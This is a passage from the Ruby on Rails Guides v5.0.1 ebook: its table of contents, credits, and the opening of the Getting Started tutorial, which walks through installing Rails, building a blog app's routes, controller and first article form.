Contents

Front Matter

- Ruby on Rails Guides (v5.0.1)

- Credits

Getting Started with Rails — Ruby on...

- 1 Guide Assumptions

- 2 What is Rails?

- 3 Creating a New Rails Project

- 4 Hello, Rails!

- 5 Getting Up and Running

- 6 Adding a Second Model

- 7 Refactoring

- 8 Deleting Comments

- 9 Security

- 10 What's Next?

- 11 Configuration Gotchas

Active Record Basics — Ruby on Rails...

- 1 What is Active Record?

- 2 Convention over Configuration in Active Record

- 3 Creating Active Record Models

- 4 Overriding the Naming Conventions

- 5 CRUD: Reading and Writing Data

- 6 Validations

- 7 Callbacks

- 8 Migrations

Active Record Migrations — Ruby on...

- 1 Migration Overview

- 2 Creating a Migration

- 3 Writing a Migration

- 4 Running Migrations

- 5 Changing Existing Migrations

- 6 Schema Dumping and You

- 7 Active Record and Referential Integrity

- 8 Migrations and Seed Data

Active Record Validations — Ruby on...

- 1 Validations Overview

- 2 Validation Helpers

- 3 Common Validation Options

- 4 Strict Validations

- 5 Conditional Validation

- 6 Performing Custom Validations

- 7 Working with Validation Errors

- 8 Displaying Validation Errors in Views

Active Record Callbacks — Ruby on...

- 1 The Object Life Cycle

- 2 Callbacks Overview

- 3 Available Callbacks

- 4 Running Callbacks

- 5 Skipping Callbacks

- 6 Halting Execution

- 7 Relational Callbacks

- 8 Conditional Callbacks

- 9 Callback Classes

- 10 Transaction Callbacks

Active Record Associations — Ruby on...

- 1 Why Associations?

- 2 The Types of Associations

- 3 Tips, Tricks, and Warnings

- 4 Detailed Association Reference

- 5 Single Table Inheritance

Active Record Query Interface — Ruby...

- 1 Retrieving Objects from the Database

- 2 Conditions

- 3 Ordering

- 4 Selecting Specific Fields

- 5 Limit and Offset

- 6 Group

- 7 Having

- 8 Overriding Conditions

- 9 Null Relation

- 10 Readonly Objects

- 11 Locking Records for Update

- 12 Joining Tables

- 13 Eager Loading Associations

- 14 Scopes

- 15 Dynamic Finders

- 16 Enums

- 17 Understanding The Method Chaining

- 18 Find or Build a New Object

- 19 Finding by SQL

- 20 Existence of Objects

- 21 Calculations

- 22 Running EXPLAIN

Active Model Basics — Ruby on Rails...

- 1 Introduction

Action View Overview — Ruby on Rails...

- 1 What is Action View?

- 2 Using Action View with Rails

- 3 Templates, Partials and Layouts

- 4 Partial Layouts

- 5 View Paths

- 6 Overview of helpers provided by Action View

- 7 Localized Views

Layouts and Rendering in Rails — Ruby...

- 1 Overview: How the Pieces Fit Together

- 2 Creating Responses

- 3 Structuring Layouts

Form Helpers — Ruby on Rails Guides

- 1 Dealing with Basic Forms

- 2 Dealing with Model Objects

- 3 Making Select Boxes with Ease

- 4 Using Date and Time Form Helpers

- 5 Uploading Files

- 6 Customizing Form Builders

- 7 Understanding Parameter Naming Conventions

- 8 Forms to External Resources

- 9 Building Complex Forms

Action Controller Overview — Ruby on...

- 1 What Does a Controller Do?

- 2 Controller Naming Convention

- 3 Methods and Actions

- 4 Parameters

- 5 Session

- 6 Cookies

- 7 Rendering XML and JSON data

- 8 Filters

- 9 Request Forgery Protection

- 10 The Request and Response Objects

- 11 HTTP Authentications

- 12 Streaming and File Downloads

- 13 Log Filtering

- 14 Rescue

- 15 Force HTTPS protocol

Rails Routing from the Outside In —...

- 1 The Purpose of the Rails Router

- 2 Resource Routing: the Rails Default

- 3 Non-Resourceful Routes

- 4 Customizing Resourceful Routes

- 5 Inspecting and Testing Routes

Active Support Core Extensions — Ruby...

- 1 How to Load Core Extensions

- 2 Extensions to All Objects

- 3 Extensions to Module

- 4 Extensions to Class

- 5 Extensions to String

- 6 Extensions to Numeric

- 7 Extensions to Integer

- 8 Extensions to BigDecimal

- 9 Extensions to Enumerable

- 10 Extensions to Array

- 11 Extensions to Hash

- 12 Extensions to Regexp

- 13 Extensions to Range

- 14 Extensions to Date

- 15 Extensions to DateTime

- 16 Extensions to Time

- 17 Extensions to File

- 18 Extensions to Marshal

- 19 Extensions to NameError

- 20 Extensions to LoadError

Rails Internationalization (I18n) API...

- 1 How I18n in Ruby on Rails Works

- 2 Setup the Rails Application for Internationalization

- 3 Internationalization and Localization

- 4 Overview of the I18n API Features

- 5 How to Store your Custom Translations

- 6 Customize your I18n Setup

- 7 Conclusion

- 8 Contributing to Rails I18n

- 9 Resources

- 10 Authors

- 11 Footnotes

Action Mailer Basics — Ruby on Rails...

- 1 Introduction

- 2 Sending Emails

- 3 Receiving Emails

- 4 Action Mailer Callbacks

- 5 Using Action Mailer Helpers

- 6 Action Mailer Configuration

- 7 Mailer Testing

- 8 Intercepting Emails

Active Job Basics — Ruby on Rails Guides

- 1 Introduction

- 2 The Purpose of Active Job

- 3 Creating a Job

- 4 Job Execution

- 5 Queues

- 6 Callbacks

- 7 Action Mailer

- 8 Internationalization

- 9 GlobalID

- 10 Exceptions

- 11 Job Testing

A Guide to Testing Rails Applications...

- 1 Why Write Tests for your Rails Applications?

- 2 Introduction to Testing

- 3 The Test Database

- 4 Model Testing

- 5 Integration Testing

- 6 Functional Tests for Your Controllers

- 7 Testing Routes

- 8 Testing Views

- 9 Testing Helpers

- 10 Testing Your Mailers

- 11 Testing Jobs

- 12 Additional Testing Resources

Ruby on Rails Security Guide — Ruby on...

- 1 Introduction

- 2 Sessions

- 3 Cross-Site Request Forgery (CSRF)

- 4 Redirection and Files

- 5 Intranet and Admin Security

- 6 User Management

- 7 Injection

- 8 Unsafe Query Generation

- 9 Default Headers

- 10 Environmental Security

- 11 Additional Resources

Debugging Rails Applications — Ruby on...

- 1 View Helpers for Debugging

- 2 The Logger

- 3 Debugging with the byebug gem

- 4 Debugging with the web-console gem

- 5 Debugging Memory Leaks

- 6 Plugins for Debugging

- 7 References

Configuring Rails Applications — Ruby...

- 1 Locations for Initialization Code

- 2 Running Code Before Rails

- 3 Configuring Rails Components

- 4 Rails Environment Settings

- 5 Using Initializer Files

- 6 Initialization events

- 7 Database pooling

- 8 Custom configuration

- 9 Search Engines Indexing

- 10 Evented File System Monitor

The Rails Command Line — Ruby on Rails...

- 1 Command Line Basics

- 2 bin/rails

- 3 The Rails Advanced Command Line

The Asset Pipeline — Ruby on Rails...

- 1 What is the Asset Pipeline?

- 2 How to Use the Asset Pipeline

- 3 In Development

- 4 In Production

- 5 Customizing the Pipeline

- 6 Assets Cache Store

- 7 Adding Assets to Your Gems

- 8 Making Your Library or Gem a Pre-Processor

- 9 Upgrading from Old Versions of Rails

Working with JavaScript in Rails —...

- 1 An Introduction to Ajax

- 2 Unobtrusive JavaScript

- 3 Built-in Helpers

- 4 Server-Side Concerns

- 5 Turbolinks

- 6 Other Resources

The Rails Initialization Process —...

- 1 Launch!

- 2 Loading Rails

Autoloading and Reloading Constants —...

- 1 Introduction

- 2 Constants Refresher

- 3 Vocabulary

- 4 Autoloading Availability

- 5 autoload_paths

- 6 Autoloading Algorithms

- 7 require_dependency

- 8 Constant Reloading

- 9 Module#autoload isn't Involved

- 10 Common Gotchas

Caching with Rails: An Overview — Ruby...

- 1 Basic Caching

- 2 Cache Stores

- 3 Cache Keys

- 4 Conditional GET support

- 5 References

Active Support Instrumentation — Ruby...

- 1 Introduction to instrumentation

- 2 Rails framework hooks

- 3 Action Controller

- 4 Action View

- 5 Active Record

- 6 Action Mailer

- 7 Active Support

- 8 Active Job

- 9 Railties

- 10 Rails

- 11 Subscribing to an event

- 12 Creating custom events

A Guide to Profiling Rails...

Using Rails for API-only Applications...

- 1 What is an API Application?

- 2 Why Use Rails for JSON APIs?

- 3 The Basic Configuration

- 4 Choosing Middleware

- 5 Choosing Controller Modules

Action Cable Overview — Ruby on Rails...

- 1 Introduction

- 2 What is Pub/Sub

- 3 Server-Side Components

- 4 Client-Side Components

- 5 Client-Server Interactions

- 6 Full-Stack Examples

- 7 Configuration

- 8 Running Standalone Cable Servers

- 9 Dependencies

- 10 Deployment

The Basics of Creating Rails Plugins —...

- 1 Setup

- 2 Testing Your Newly Generated Plugin

- 3 Extending Core Classes

- 4 Add an "acts_as" Method to Active Record

- 5 Generators

- 6 Publishing Your Gem

- 7 RDoc Documentation

Rails on Rack — Ruby on Rails Guides

- 1 Introduction to Rack

- 2 Rails on Rack

- 3 Action Dispatcher Middleware Stack

- 4 Resources

Creating and Customizing Rails...

- 1 First Contact

- 2 Creating Your First Generator

- 3 Creating Generators with Generators

- 4 Generators Lookup

- 5 Customizing Your Workflow

- 6 Customizing Your Workflow by Changing Generators Templates

- 7 Adding Generators Fallbacks

- 8 Application Templates

- 9 Generator methods

Getting Started with Engines — Ruby on...

- 1 What are engines?

- 2 Generating an engine

- 3 Providing engine functionality

- 4 Hooking Into an Application

- 5 Testing an engine

- 6 Improving engine functionality

Contributing to Ruby on Rails — Ruby...

- 1 Reporting an Issue

- 2 Helping to Resolve Existing Issues

- 3 Contributing to the Rails Documentation

- 4 Translating Rails Guides

- 5 Contributing to the Rails Code

- 6 Rails Contributors

API Documentation Guidelines — Ruby on...

- 1 RDoc

- 2 Wording

- 3 English

- 4 Oxford Comma

- 5 Example Code

- 6 Booleans

- 7 File Names

- 8 Fonts

- 9 Description Lists

- 10 Dynamically Generated Methods

- 11 Method Visibility

- 12 Regarding the Rails Stack

Ruby on Rails Guides Guidelines — Ruby...

- 1 Markdown

- 2 Prologue

- 3 Headings

- 4 API Documentation Guidelines

- 5 HTML Guides

- 6 Kindle Guides

Maintenance Policy for Ruby on Rails —...

- 1 New Features

- 2 Bug Fixes

- 3 Security Issues

- 4 Severe Security Issues

- 5 Unsupported Release Series

A Guide for Upgrading Ruby on Rails —...

- 1 General Advice

- 2 Upgrading from Rails 4.2 to Rails 5.0

- 3 Upgrading from Rails 4.1 to Rails 4.2

- 4 Upgrading from Rails 4.0 to Rails 4.1

- 5 Upgrading from Rails 3.2 to Rails 4.0

- 6 Upgrading from Rails 3.1 to Rails 3.2

- 7 Upgrading from Rails 3.0 to Rails 3.1

Ruby on Rails 5.0 Release Notes — Ruby...

- 1 Upgrading to Rails 5.0

- 2 Major Features

- 3 Railties

- 4 Action Pack

- 5 Action View

- 6 Action Mailer

- 7 Active Record

- 8 Active Model

- 9 Active Job

- 10 Active Support

- 11 Credits

Ruby on Rails 4.2 Release Notes — Ruby...

- 1 Upgrading to Rails 4.2

- 2 Major Features

- 3 Incompatibilities

- 4 Railties

- 5 Action Pack

- 6 Action View

- 7 Action Mailer

- 8 Active Record

- 9 Active Model

- 10 Active Support

- 11 Credits

Ruby on Rails 4.1 Release Notes — Ruby...

- 1 Upgrading to Rails 4.1

- 2 Major Features

- 3 Railties

- 4 Action Pack

- 5 Action Mailer

- 6 Active Record

- 7 Active Model

- 8 Active Support

- 9 Credits

Ruby on Rails 4.0 Release Notes — Ruby...

- 1 Upgrading to Rails 4.0

- 2 Creating a Rails 4.0 application

- 3 Major Features

- 4 Extraction of features to gems

- 5 Documentation

- 6 Railties

- 7 Action Mailer

- 8 Active Model

- 9 Active Support

- 10 Action Pack

- 11 Active Record

- 12 Credits

Ruby on Rails 3.2 Release Notes — Ruby...

- 1 Upgrading to Rails 3.2

- 2 Creating a Rails 3.2 application

- 3 Major Features

- 4 Documentation

- 5 Railties

- 6 Action Mailer

- 7 Action Pack

- 8 Active Record

- 9 Active Model

- 10 Active Resource

- 11 Active Support

- 12 Credits

Ruby on Rails 3.1 Release Notes — Ruby...

- 1 Upgrading to Rails 3.1

- 2 Creating a Rails 3.1 application

- 3 Rails Architectural Changes

- 4 Railties

- 5 Action Pack

- 6 Active Record

- 7 Active Model

- 8 Active Resource

- 9 Active Support

- 10 Credits

Ruby on Rails 3.0 Release Notes — Ruby...

- 1 Upgrading to Rails 3

- 2 Creating a Rails 3.0 application

- 3 Rails Architectural Changes

- 4 Documentation

- 5 Internationalization

- 6 Railties

- 7 Action Pack

- 8 Active Model

- 9 Active Record

- 10 Active Resource

- 11 Active Support

- 12 Action Mailer

- 13 Credits

Ruby on Rails 2.3 Release Notes — Ruby...

- 1 Application Architecture

- 2 Documentation

- 3 Ruby 1.9.1 Support

- 4 Active Record

- 5 Action Controller

- 6 Action View

- 7 Active Support

- 8 Railties

- 9 Deprecated

- 10 Credits

Ruby on Rails 2.2 Release Notes — Ruby...

- 1 Infrastructure

- 2 Documentation

- 3 Better integration with HTTP : Out of the box ETag support

- 4 Thread Safety

- 5 Active Record

- 6 Action Controller

- 7 Action View

- 8 Action Mailer

- 9 Active Support

- 10 Railties

- 11 Deprecated

- 12 Credits

Front Matter

Ruby on Rails Guides (v5.0.1)

These are the new guides for Rails 5.0 based on v5.0.1. These guides are designed to make you immediately productive with Rails, and to help you understand how all of the pieces fit together.

The guides for earlier releases: Rails 4.2, Rails 4.1, Rails 4.0, Rails 3.2, and Rails 2.3.

Kindle Edition

The Kindle Edition of the Rails Guides should be considered a work in progress. Feedback is really welcome. Please see the "Feedback" section at the end of each guide for instructions.

Credits

We'd like to thank the following people for their tireless contributions to this project.

Rails Guides Reviewers

Vijay Dev

Vijayakumar, found as Vijay Dev on the web, is a web applications developer and an open source enthusiast who lives in Chennai, India. He started using Rails in 2009 and began actively contributing to Rails documentation in late 2010. He tweets a lot and also blogs.

Xavier Noria

Xavier Noria has been into Ruby on Rails since 2005. He is a Rails core team member and enjoys combining his passion for Rails and his past life as a proofreader of math textbooks. Xavier is currently an independent Ruby on Rails consultant. Oh, he also tweets and can be found everywhere as "fxn".

Rails Guides Designers

Jason Zimdars

Jason Zimdars is an experienced creative director and web designer who has lead UI and UX design for numerous websites and web applications. You can see more of his design and writing at Thinkcage.com or follow him on Twitter.

Rails Guides Authors

Ryan Bigg

Ryan Bigg works as a Rails developer at Marketplacer and has been working with Rails since 2006. He's the author of Multi Tenancy With Rails and co-author of Rails 4 in Action. He's written many gems which can be seen on his GitHub page and he also tweets prolifically as @ryanbigg.

Oscar Del Ben

Oscar Del Ben is a software engineer at Wildfire. He's a regular open source contributor (GitHub account) and tweets regularly at @oscardelben.

Frederick Cheung

Frederick Cheung is Chief Wizard at Texperts where he has been using Rails since 2006. He is based in Cambridge (UK) and when not consuming fine ales he blogs at spacevatican.org.

Tore Darell

Tore Darell is an independent developer based in Menton, France who specialises in cruft-free web applications using Ruby, Rails and unobtrusive JavaScript. You can follow him on Twitter.

Jeff Dean

Jeff Dean is a software engineer with Pivotal Labs.

Mike Gunderloy

Mike Gunderloy is a consultant with ActionRails. He brings 25 years of experience in a variety of languages to bear on his current work with Rails. His near-daily links and other blogging can be found at A Fresh Cup and he twitters too much.

Mikel Lindsaar

Mikel Lindsaar has been working with Rails since 2006 and is the author of the Ruby Mail gem and core contributor (he helped re-write Action Mailer's API). Mikel is the founder of RubyX, has a blog and tweets.

Cássio Marques

Cássio Marques is a Brazilian software developer working with different programming languages such as Ruby, JavaScript, CPP and Java, as an independent consultant. He blogs at /* CODIFICANDO */, which is mainly written in Portuguese, but will soon get a new section for posts with English translation.

James Miller

James Miller is a software developer for JK Tech in San Diego, CA. You can find James on GitHub, Gmail, Twitter, and Freenode as "bensie".

Pratik Naik

Pratik Naik is a Ruby on Rails developer at Basecamp and also a member of the Rails core team. He maintains a blog at has_many :bugs, :through => :rails and has a semi-active twitter account.

Emilio Tagua

Emilio Tagua —a.k.a. miloops— is an Argentinian entrepreneur, developer, open source contributor and Rails evangelist. Cofounder of Eventioz. He has been using Rails since 2006 and contributing since early 2008. Can be found at gmail, twitter, freenode, everywhere as "miloops".

Heiko Webers

Heiko Webers is the founder of bauland42, a German web application security consulting and development company focused on Ruby on Rails. He blogs at the Ruby on Rails Security Project. After 10 years of desktop application development, Heiko has rarely looked back.

Akshay Surve

Akshay Surve is the Founder at DeltaX, hackathon specialist, a midnight code junkie and occasionally writes prose. You can connect with him on Twitter, Linkedin, Personal Blog or Quora.

This work is licensed under a Creative Commons Attribution-ShareAlike 4.0 International License

"Rails", "Ruby on Rails", and the Rails logo are trademarks of David Heinemeier Hansson. All rights reserved.

Getting Started with Rails — Ruby on...

1 Guide Assumptions

This guide is designed for beginners who want to get started with a Rails application from scratch. It does not assume that you have any prior experience with Rails. However, to get the most out of it, you need to have some prerequisites installed:

- The Ruby language version 2.2.2 or newer.

- Right version of Development Kit, if you are using Windows.

- The RubyGems packaging system, which is installed with Ruby by default. To learn more about RubyGems, please read the RubyGems Guides.

- A working installation of the SQLite3 Database.

Rails is a web application framework running on the Ruby programming language. If you have no prior experience with Ruby, you will find a very steep learning curve diving straight into Rails. There are several curated lists of online resources for learning Ruby:

- Official Ruby Programming Language website

- List of Free Programming Books

Be aware that some resources, while still excellent, cover versions of Ruby as old as 1.6, and commonly 1.8, and will not include some syntax that you will see in day-to-day development with Rails.

2 What is Rails?

Rails is a web application development framework written in the Ruby language. It is designed to make programming web applications easier by making assumptions about what every developer needs to get started. It allows you to write less code while accomplishing more than many other languages and frameworks. Experienced Rails developers also report that it makes web application development more fun.

Rails is opinionated software. It makes the assumption that there is a "best" way to do things, and it's designed to encourage that way - and in some cases to discourage alternatives. If you learn "The Rails Way" you'll probably discover a tremendous increase in productivity. If you persist in bringing old habits from other languages to your Rails development, and trying to use patterns you learned elsewhere, you may have a less happy experience.

The Rails philosophy includes two major guiding principles:

- Don't Repeat Yourself: DRY is a principle of software development which states that "Every piece of knowledge must have a single, unambiguous, authoritative representation within a system." By not writing the same information over and over again, our code is more maintainable, more extensible, and less buggy.

- Convention Over Configuration: Rails has opinions about the best way to do many things in a web application, and defaults to this set of conventions, rather than require that you specify every minutiae through endless configuration files.

3 Creating a New Rails Project

The best way to read this guide is to follow it step by step. All steps are essential to run this example application and no additional code or steps are needed.

By following along with this guide, you'll create a Rails project called blog, a (very) simple weblog. Before you can start building the application, you need to make sure that you have Rails itself installed.

The examples below use $ to represent your terminal prompt in a UNIX-like OS, though it may have been customized to appear differently. If you are using Windows, your prompt will look something like c:\source_code>

3.1 Installing Rails

Open up a command line prompt. On Mac OS X open Terminal.app, on Windows choose "Run" from your Start menu and type 'cmd.exe'. Any commands prefaced with a dollar sign $ should be run in the command line. Verify that you have a current version of Ruby installed:

$ ruby -v
ruby 2.3.0p0

A number of tools exist to help you quickly install Ruby and Ruby on Rails on your system. Windows users can use Rails Installer, while Mac OS X users can use Tokaido. For more installation methods for most Operating Systems take a look at ruby-lang.org.

Many popular UNIX-like OSes ship with an acceptable version of SQLite3. On Windows, if you installed Rails through Rails Installer, you already have SQLite installed. Others can find installation instructions at the SQLite3 website. Verify that it is correctly installed and in your PATH:

$ sqlite3 --version

The program should report its version.

To install Rails, use the gem install command provided by RubyGems:

$ gem install rails

To verify that you have everything installed correctly, you should be able to run the following:

$ rails --version

If it says something like "Rails 5.0.0", you are ready to continue.

3.2 Creating the Blog Application

Rails comes with a number of scripts called generators that are designed to make your development life easier by creating everything that's necessary to start working on a particular task. One of these is the new application generator, which will provide you with the foundation of a fresh Rails application so that you don't have to write it yourself.

To use this generator, open a terminal, navigate to a directory where you have rights to create files, and type:

$ rails new blog

This will create a Rails application called Blog in a blog directory and install the gem dependencies that are already mentioned in Gemfile using bundle install.

If you're using Windows Subsystem for Linux then there are currently some limitations on file system notifications that mean you should disable the spring and listen gems which you can do by running rails new blog --skip-spring --skip-listen.

You can see all of the command line options that the Rails application builder accepts by running rails new -h.

After you create the blog application, switch to its folder:

$ cd blog

The blog directory has a number of auto-generated files and folders that make up the structure of a Rails application. Most of the work in this tutorial will happen in the app folder, but here's a basic rundown on the function of each of the files and folders that Rails created by default:

File/Folder

Purpose

app/

Contains the controllers, models, views, helpers, mailers and assets for your application. You'll focus on this folder for the remainder of this guide.

bin/

Contains the rails script that starts your app and can contain other scripts you use to setup, update, deploy or run your application.

config/

Configure your application's routes, database, and more. This is covered in more detail in Configuring Rails Applications.

config.ru

Rack configuration for Rack based servers used to start the application.

db/

Contains your current database schema, as well as the database migrations.

Gemfile
Gemfile.lock

These files allow you to specify what gem dependencies are needed for your Rails application. These files are used by the Bundler gem. For more information about Bundler, see the Bundler website.

lib/

Extended modules for your application.

log/

Application log files.

public/

The only folder seen by the world as-is. Contains static files and compiled assets.

Rakefile

This file locates and loads tasks that can be run from the command line. The task definitions are defined throughout the components of Rails. Rather than changing Rakefile, you should add your own tasks by adding files to the lib/tasks directory of your application.

README.md

This is a brief instruction manual for your application. You should edit this file to tell others what your application does, how to set it up, and so on.

test/

Unit tests, fixtures, and other test apparatus. These are covered in Testing Rails Applications.

tmp/

Temporary files (like cache and pid files).

vendor/

A place for all third-party code. In a typical Rails application this includes vendored gems.

4 Hello, Rails!

To begin with, let's get some text up on screen quickly. To do this, you need to get your Rails application server running.

4.1 Starting up the Web Server

You actually have a functional Rails application already. To see it, you need to start a web server on your development machine. You can do this by running the following in the blog directory:

$ bin/rails server

If you are using Windows, you have to pass the scripts under the bin folder directly to the Ruby interpreter e.g. ruby bin\rails server.

Compiling CoffeeScript and JavaScript asset compression requires you have a JavaScript runtime available on your system, in the absence of a runtime you will see an execjs error during asset compilation. Usually Mac OS X and Windows come with a JavaScript runtime installed. Rails adds the therubyracer gem to the generated Gemfile in a commented line for new apps and you can uncomment if you need it. therubyrhino is the recommended runtime for JRuby users and is added by default to the Gemfile in apps generated under JRuby. You can investigate all the supported runtimes at ExecJS.

This will fire up Puma, a web server distributed with Rails by default. To see your application in action, open a browser window and navigate to http://localhost:3000. You should see the Rails default information page:

To stop the web server, hit Ctrl+C in the terminal window where it's running. To verify the server has stopped you should see your command prompt cursor again. For most UNIX-like systems including Mac OS X this will be a dollar sign $. In development mode, Rails does not generally require you to restart the server; changes you make in files will be automatically picked up by the server.

The "Welcome aboard" page is the smoke test for a new Rails application: it makes sure that you have your software configured correctly enough to serve a page.

4.2 Say "Hello", Rails

To get Rails saying "Hello", you need to create at minimum a controller and a view.

A controller's purpose is to receive specific requests for the application. Routing decides which controller receives which requests. Often, there is more than one route to each controller, and different routes can be served by different actions. Each action's purpose is to collect information to provide it to a view.

A view's purpose is to display this information in a human readable format. An important distinction to make is that it is the controller, not the view, where information is collected. The view should just display that information. By default, view templates are written in a language called eRuby (Embedded Ruby) which is processed by the request cycle in Rails before being sent to the user.

To create a new controller, you will need to run the "controller" generator and tell it you want a controller called "Welcome" with an action called "index", just like this:

$ bin/rails generate controller Welcome index

Rails will create several files and a route for you.

create  app/controllers/welcome_controller.rb
route  get 'welcome/index'
invoke  erb
create    app/views/welcome
create    app/views/welcome/index.html.erb
invoke  test_unit
create    test/controllers/welcome_controller_test.rb
invoke  helper
create    app/helpers/welcome_helper.rb
invoke  assets
invoke    coffee
create      app/assets/javascripts/welcome.coffee
invoke    scss
create      app/assets/stylesheets/welcome.scss

Most important of these are of course the controller, located at app/controllers/welcome_controller.rb and the view, located at app/views/welcome/index.html.erb.

Open the app/views/welcome/index.html.erb file in your text editor. Delete all of the existing code in the file, and replace it with the following single line of code:

<h1>Hello, Rails!</h1>

4.3 Setting the Application Home Page

Now that we have made the controller and view, we need to tell Rails when we want "Hello, Rails!" to show up. In our case, we want it to show up when we navigate to the root URL of our site, http://localhost:3000. At the moment, "Welcome aboard" is occupying that spot.

Next, you have to tell Rails where your actual home page is located.

Open the file config/routes.rb in your editor.

Rails.application.routes.draw do
get 'welcome/index'

# For details on the DSL available within this file, see http://guides.rubyonrails.org/routing.html
end

This is your application's routing file which holds entries in a special DSL (domain-specific language) that tells Rails how to connect incoming requests to controllers and actions. Edit this file by adding the line of code root 'welcome#index'. It should look something like the following:

Rails.application.routes.draw do
get 'welcome/index'

root 'welcome#index'
end

root 'welcome#index' tells Rails to map requests to the root of the application to the welcome controller's index action and get 'welcome/index' tells Rails to map requests to http://localhost:3000/welcome/index to the welcome controller's index action. This was created earlier when you ran the controller generator (bin/rails generate controller Welcome index).

Launch the web server again if you stopped it to generate the controller (bin/rails server) and navigate to http://localhost:3000 in your browser. You'll see the "Hello, Rails!" message you put into app/views/welcome/index.html.erb, indicating that this new route is indeed going to WelcomeController's index action and is rendering the view correctly.

For more information about routing, refer to Rails Routing from the Outside In.

5 Getting Up and Running

Now that you've seen how to create a controller, an action and a view, let's create something with a bit more substance.

In the Blog application, you will now create a new resource. A resource is the term used for a collection of similar objects, such as articles, people or animals. You can create, read, update and destroy items for a resource and these operations are referred to as CRUD operations.

Rails provides a resources method which can be used to declare a standard REST resource. You need to add the article resource to the config/routes.rb so the file will look as follows:

Rails.application.routes.draw do

resources :articles

root 'welcome#index'
end

If you run bin/rails routes, you'll see that it has defined routes for all the standard RESTful actions. The meaning of the prefix column (and other columns) will be seen later, but for now notice that Rails has inferred the singular form article and makes meaningful use of the distinction.

$ bin/rails routes
Prefix Verb   URI Pattern                  Controller#Action
articles GET    /articles(.:format)          articles#index
POST   /articles(.:format)          articles#create
new_article GET    /articles/new(.:format)      articles#new
edit_article GET    /articles/:id/edit(.:format) articles#edit
article GET    /articles/:id(.:format)      articles#show
PATCH  /articles/:id(.:format)      articles#update
PUT    /articles/:id(.:format)      articles#update
DELETE /articles/:id(.:format)      articles#destroy
root GET    /                            welcome#index

In the next section, you will add the ability to create new articles in your application and be able to view them. This is the "C" and the "R" from CRUD: create and read. The form for doing this will look like this:

It will look a little basic for now, but that's ok. We'll look at improving the styling for it afterwards.

5.1 Laying down the ground work

Firstly, you need a place within the application to create a new article. A great place for that would be at /articles/new. With the route already defined, requests can now be made to /articles/new in the application. Navigate to http://localhost:3000/articles/new and you'll see a routing error:

This error occurs because the route needs to have a controller defined in order to serve the request. The solution to this particular problem is simple: create a controller called ArticlesController. You can do this by running this command:

$ bin/rails generate controller Articles

If you open up the newly generated app/controllers/articles_controller.rb you'll see a fairly empty controller:

class ArticlesController < ApplicationController
end

A controller is simply a class that is defined to inherit from ApplicationController. It's inside this class that you'll define methods that will become the actions for this controller. These actions will perform CRUD operations on the articles within our system.

There are public, private and protected methods in Ruby, but only public methods can be actions for controllers. For more details check out Programming Ruby.

If you refresh http://localhost:3000/articles/new now, you'll get a new error:

This error indicates that Rails cannot find the new action inside the ArticlesController that you just generated. This is because when controllers are generated in Rails they are empty by default, unless you tell it your desired actions during the generation process.

To manually define an action inside a controller, all you need to do is to define a new method inside the controller. Open app/controllers/articles_controller.rb and inside the ArticlesController class, define the new method so that your controller now looks like this:

class ArticlesController < ApplicationController
def new
end
end

With the new method defined in ArticlesController, if you refresh http://localhost:3000/articles/new you'll see another error:

You're getting this error now because Rails expects plain actions like this one to have views associated with them to display their information. With no view available, Rails will raise an exception.

In the above image, the bottom line has been truncated. Let's see what the full error message looks like:

ArticlesController#new is missing a template for this request format and variant. request.formats: ["text/html"] request.variant: [] NOTE! For XHR/Ajax or API requests, this action would normally respond with 204 No Content: an empty white screen. Since you're loading it in a web browser, we assume that you expected to actually render a template, not… nothing, so we're showing an error to be extra-clear. If you expect 204 No Content, carry on. That's what you'll get from an XHR or API request. Give it a shot.

That's quite a lot of text! Let's quickly go through and understand what each part of it means.

The first part identifies which template is missing. In this case, it's the articles/new template. Rails will first look for this template. If not found, then it will attempt to load a template called application/new. It looks for one here because the ArticlesController inherits from ApplicationController.

The next part of the message contains request.formats which specifies the format of template to be served in response. It is set to text/html as we requested this page via browser, so Rails is looking for an HTML template. request.variants specifies what kind of physical devices would be served by the response and helps Rails determine which template to use in the response. It is empty because no information has been provided.

The simplest template that would work in this case would be one located at app/views/articles/new.html.erb. The extension of this file name is important: the first extension is the format of the template, and the second extension is the handler that will be used to render the template. Rails is attempting to find a template called articles/new within app/views for the application. The format for this template can only be html and the default handler for HTML is erb. Rails uses other handlers for other formats. builder handler is used to build XML templates and coffee handler uses CoffeeScript to build JavaScript templates. Because you want to create a new HTML form, you will be using the ERB language which is designed to embed Ruby in HTML.

Therefore the file should be called articles/new.html.erb and needs to be located inside the app/views directory of the application.

Go ahead now and create a new file at app/views/articles/new.html.erb and write this content in it:

<h1>New Article</h1>

When you refresh http://localhost:3000/articles/new you'll now see that the page has a title. The route, controller, action and view are now working harmoniously! It's time to create the form for a new article.

5.2 The first form

To create a form within this template, you will use a form builder. The primary form builder for Rails is provided by a helper method called form_for. To use this method, add this code into app/views/articles/new.html.erb:

<%= form_for :article do |f| %>
<p>
<%= f.label :title %><br>
<%= f.text_field :title %>
</p>

<p>
<%= f.label :text %><br>
<%= f.text_area :text %>
</p>

<p>
<%= f.submit %>
</p>
<% end %>

If you refresh the page now, you'll see the exact same form as in the example. Building forms in Rails is really just that easy!

When you call form_for, you pass it an identifying object for this form. In this case, it's the symbol :article. This tells the form_for helper what this form is for. Inside the block for this method, the FormBuilder object - represented by f - is used to build two labels and two text fields, one each for the title and text of an article. Finally, a call to submit on the f object will create a submit button for the form.

There's one problem with this form though. If you inspect the HTML that is generated, by viewing the source of the page, you will see that the action attribute for the form is pointing at /articles/new. This is a problem because this route goes to the very page that you're on right at the moment, and that route should only be used to display the form for a new article.

The form needs to use a different URL in order to go somewhere else. This can be done quite simply with the :url option of form_for. Typically in Rails, the action that is used for new form submissions like this is called "create", and so the form should be pointed to that action.

Edit the form_for line inside app/views/articles/new.html.erb to look like this:

<%= form_for :article, url: articles_path do |f| %>

In this example, the articles_path helper is passed to the :url option. To see what Rails will do with this, we look back at the output of bin/rails routes:

$ bin/rails routes
Prefix Verb   URI Pattern                  Controller#Action
articles GET    /articles(.:format)          articles#index
POST   /articles(.:format)          articles#create
new_article GET    /articles/new(.:format)      articles#new
edit_article GET    /articles/:id/edit(.:format) articles#edit
article GET    /articles/:id(.:format)      articles#show
PATCH  /articles/:id(.:format)      articles#update
PUT    /articles/:id(.:format)      articles#update
DELETE /articles/:id(.:format)      articles#destroy
root GET    /                            welcome#index

The articles_path helper tells Rails to point the form to the URI Pattern associated with the articles prefix; and the form will (by default) send a POST request to that route. This is associated with the create action of the current controller, the ArticlesController.

With the form and its associated route defined, you will be able to fill in the form and then click the submit button to begin the process of creating a new article, so go ahead and do that. When you submit the form, you should see a familiar error:

You now need to create the create action within the ArticlesController for this to work.

